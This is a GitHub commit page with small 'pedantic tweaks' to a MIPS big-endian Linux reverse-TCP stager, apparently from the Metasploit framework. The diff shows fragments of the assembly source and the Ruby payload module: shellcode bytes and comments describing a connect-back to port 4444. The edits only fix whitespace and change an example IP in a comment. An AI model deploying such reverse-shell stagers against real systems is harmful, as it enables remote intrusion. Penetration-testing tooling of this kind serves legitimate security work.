Skip to content

Commit cd0c2c2

Browse files
committed
pedantic tweaks
1 parent 2d8a71d commit cd0c2c2

File tree

2 files changed

+3
-3
lines changed

2 files changed

+3
-3
lines changed

external/source/shellcode/linux/mipsbe/stager_sock_reverse.s

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@
2929
##
3030
.text
3131
.align 2
32-
.globl main
32+
.globl main
3333
.set nomips16
3434
main:
3535
.set noreorder
@@ -50,7 +50,7 @@ main:
5050
bne $s0, $zero, failed
5151
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
5252

53-
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
53+
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16)
5454
# a0: sockfd
5555
# a1: addr = AF_INET (2)
5656
# a2: addrlen = 16

modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,7 @@ def initialize(info = {})
5959
"\x24\x0c\xff\xef" + # li t4,-17
6060
"\x01\x80\x30\x27" + # nor a2,t4,zero
6161
"\x24\x02\x10\x4a" + # li v0,4170
62-
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
62+
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16)
6363
"\x01\x01\x01\x0c" + # syscall 0x40404
6464
"\x00\x07\x80\x2a" + # slt s0,zero,a3
6565
"\x16\x00\x00\x25" + # bnez s0,0x4006bc <failed>

0 commit comments

Comments
 (0)